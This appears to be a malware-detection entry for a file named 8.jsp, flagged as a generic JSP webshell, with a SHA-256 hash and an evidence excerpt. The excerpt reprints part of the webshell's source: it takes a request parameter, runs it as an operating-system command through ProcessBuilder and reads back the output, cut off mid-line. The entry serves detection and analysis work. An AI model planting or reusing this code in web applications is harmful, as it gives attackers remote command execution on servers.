8.jsp
JSP webshell executes commands
Generic JSP webshell which uses processbuilder to execute user input
SHA-2567a65ac908a2bdbe21eeb80000f560a5497aa25bed28786a2fe01727e3a124cd2
MaleculeTh
Evidence
2:30… ception" %>
3<%@ page import="java.io.InputStream" %>
4<%@ page import="java.io.InputStreamReader" %>
5<html>
6<body>
7<h2>java.lang.ProcessBuilder JSP Webshell</h2>
8<%
9 try {
10 final String cmd = request.getParameter("threedr3am");
11 class Threedr3am_8 {
12 Threedr3amX threedr3amX;
13 class Threedr3amX {
14 private Process process;
15 public Threedr3amX() throws IOException {
16 process = new ProcessBuilder().command(cmd.split(" ")).start();
17 }
18 }
19 public Threedr3am_8() throws IOException {
20 threedr3amX = new Threedr3amX();
21 }
22 public String echo() throws IOException {
23 Process process = threedr3amX.process;
24 InputStream inputStream = process.getInputStream();
25 StringBuilder stringBuilder = new StringBuilder();
26 BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
27 String line;
28 while ((line = bufferedReader.readLi …